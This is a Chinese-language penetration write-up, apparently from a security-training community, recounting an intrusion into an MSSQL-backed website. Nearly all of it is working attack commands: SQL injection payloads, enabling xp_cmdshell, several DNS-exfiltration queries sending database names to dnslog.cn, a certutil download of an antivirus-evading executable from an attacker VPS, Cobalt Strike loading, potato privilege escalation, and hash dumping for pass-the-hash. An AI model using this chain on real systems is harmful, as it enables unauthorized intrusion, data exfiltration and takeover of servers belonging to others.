本文来自宽字节安全第一期学员大头95投稿。第二期线下培训预计十一月底开班,欢迎咨询。
首先判断注入点
很明显的报错注入
判断是否是mssql:
powershelladmin' and exists (select * from sysobjects) and '1'='1
说明条件为真,如果不是mssql则应该为如下提示:
判断是否是管理员权限:
powershelladmin' and 1=(select IS_SRVROLEMEMBER('sysadmin')) and '1'='1
很明显是管理员权限,堆叠注入开启xp_cmdshell
powershelladmin';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; -- q
判断一下能不能执行命令
powershelladmin';exec master..xp_cmdshell "ping d5bbvf.dnslog.cn; -- q
发现是可以执行命令的,好不容易遇到一个管理员权限的站,试一试各种dns外带数据
在允许堆叠注入的情况下,可以通过声明变量来将数据外带
sqlDECLARE @host varchar(1024); 声明变量@host
SELECT @host='ping '+(select db_name())+'.bll6ub.dnslog.cn'; 变量赋值
EXEC('master..xp_cmdshell'+'"'+@host+'"'); 执行命令
在不允许堆叠注入的情况也可以将数据通过dns外带带出来,下面来介绍几种
sqland exists(select * from fn_xe_file_target_read_file('C:*.xls','\'+(需要查询的内容)+'.bde3xv.dnslog.cn1.txt',null,null))
sqland exists(select * from fn_trace_gettable('\'+(select db_name())+'.6bg39e.dnslog.cn1.trc',default))
sql(select 1 where exists(select * from fn_get_audit_file('\'+(select db_name())+'.71dg9y.dnslog.cn',default,default)))
这些方法在只允许盲注的情况下都可以把数据带出来,当然,也可以像sqlmap一样,将要查询的数据写到创建的表里面,再从表里面查出来。比如我想看看他c盘下有什么文件。为了方便看,bp抓包一波
sqlCREATE TABLE cmdtable ([Id] BIGINT PRIMARY KEY IDENTITY(1,1),[dir] varchar(8000));创建表cmdtable,字段名id和dir
insert into cmdtable(dir) exec master..xp_cmdshell 'dir c:'; 将dir c: 的结果插入dir字段
select top 1 dir from cmdtable where id=2; 查询字段内容
当然,最后的查询结果在这里只能通过报错或者dns外带出来。完整的语句如下
sqladmin';CREATE TABLE cmdtable ([Id] BIGINT PRIMARY KEY IDENTITY(1,1),[dir] varchar(8000));insert into cmdtable(dir) exec master..xp_cmdshell 'dir c:';select convert(int,(select top 1 dir from cmdtable where id=10),111); --
接着往下改变id的值就能把c盘的文件都给遍历出来了。接下来就该查一下有没有杀软然后上传exe上线cs了
通过bp遍历发现是有defender的,所以上个免杀的马儿吧
certutil -urlcache -split -f http://vpsip:80/download/file c:usersSBlogin.exe
但是经过多次上传都以失败告终,vps有请求,但是文件没有落上去,我想应该是c盘权限的问题,于是我有去列了一下盘符
wmic logicaldisk where drivetype=3 get deviceid
发现他还有一个D盘,于是我把我的exe落到了盘目录下再查询,下面再来一条查询指定文件的cmd命令
for /r d: %i in (SBlogin.exe) do @echo %i
当然直接dir d:SBlogin.exe也可以
如果是盲注的情况,通过&&与dns外带也可判断出文件有没有落地
dir d:SBlogin.exe && ping DNS
上传成功了,那就运行exe上线cs
服务权限,有SeImpersonatePrivilege这个令牌----->土豆提权
执行一下SBlogin.exe,提到system权限
看一下有没有域
wmic computersystem get domain
没有域,那就dump一波hash用administrator去PTH
很明显,administrator是空密码,横向不了,拉到了拉到了。
相关推荐: 【XSSI】动态JS劫持用户信息-Webpack+JSONP劫持
动态JS劫持用户信息-Webpack+JSONP劫持作者:key注:本文已对敏感信息脱敏化,如有雷同纯属巧合。前言在做测试的时候发现一个请求:POST /user/getUserInfo HTTP/1.1Host: xxxxxCookie: xxxxticke…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论